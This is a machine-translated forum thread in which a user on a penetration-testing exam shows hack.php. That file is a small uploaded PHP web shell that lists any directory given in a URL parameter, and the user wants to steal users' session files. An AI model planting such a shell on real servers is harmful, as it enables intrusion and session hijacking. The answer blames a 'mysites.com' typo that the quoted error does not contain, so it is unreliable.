我在网络服务器上执行笔测试作为考试中的任务之一,在利用不受限制的文件上传漏洞(https://www.owasp.org/index.php/Unrestricted_File_Upload)后,我试图访问Web服务器上的某个文件夹,我收到了这个错误:
Warning: scandir(): open_basedir restriction in effect. File(C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS) is not within the allowed path(s): (C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs;C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS) in C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs\ticketAttachments\4b3519fbe17e82993e76927e5f253e33\hack.php
请注意路径实际上是在允许的路径中(我猜这是考试中此任务的重点,即窃取所有用户会话)。
我无法访问服务器,因此无法更改服务器上的任何设置,我只需要获取可能存储在C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS
文件夹中的所有sess_ *文件。
这些是我的hack.php文件的内容:
<pre style="text-align:left">
<?php
$files = scandir($_GET['path']);
foreach ($files as $file) {
echo $file;
echo "\n";
}
?>
</pre>
我尝试访问允许路径中的其他路径并且它是相同的。
但奇怪的是,我可以阅读C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs\ticketAttachments
的内容,而不是C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs
,这实际上是在允许的路径中。
我在这里做错了吗?
答案 0 :(得分:0)
这是一个简单的错字问题。
You want to access: C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS
The allowed path contains: C:\inetpub\sitesdata\mysites.com\SESSIONS\USERS
注意缺少的“s”?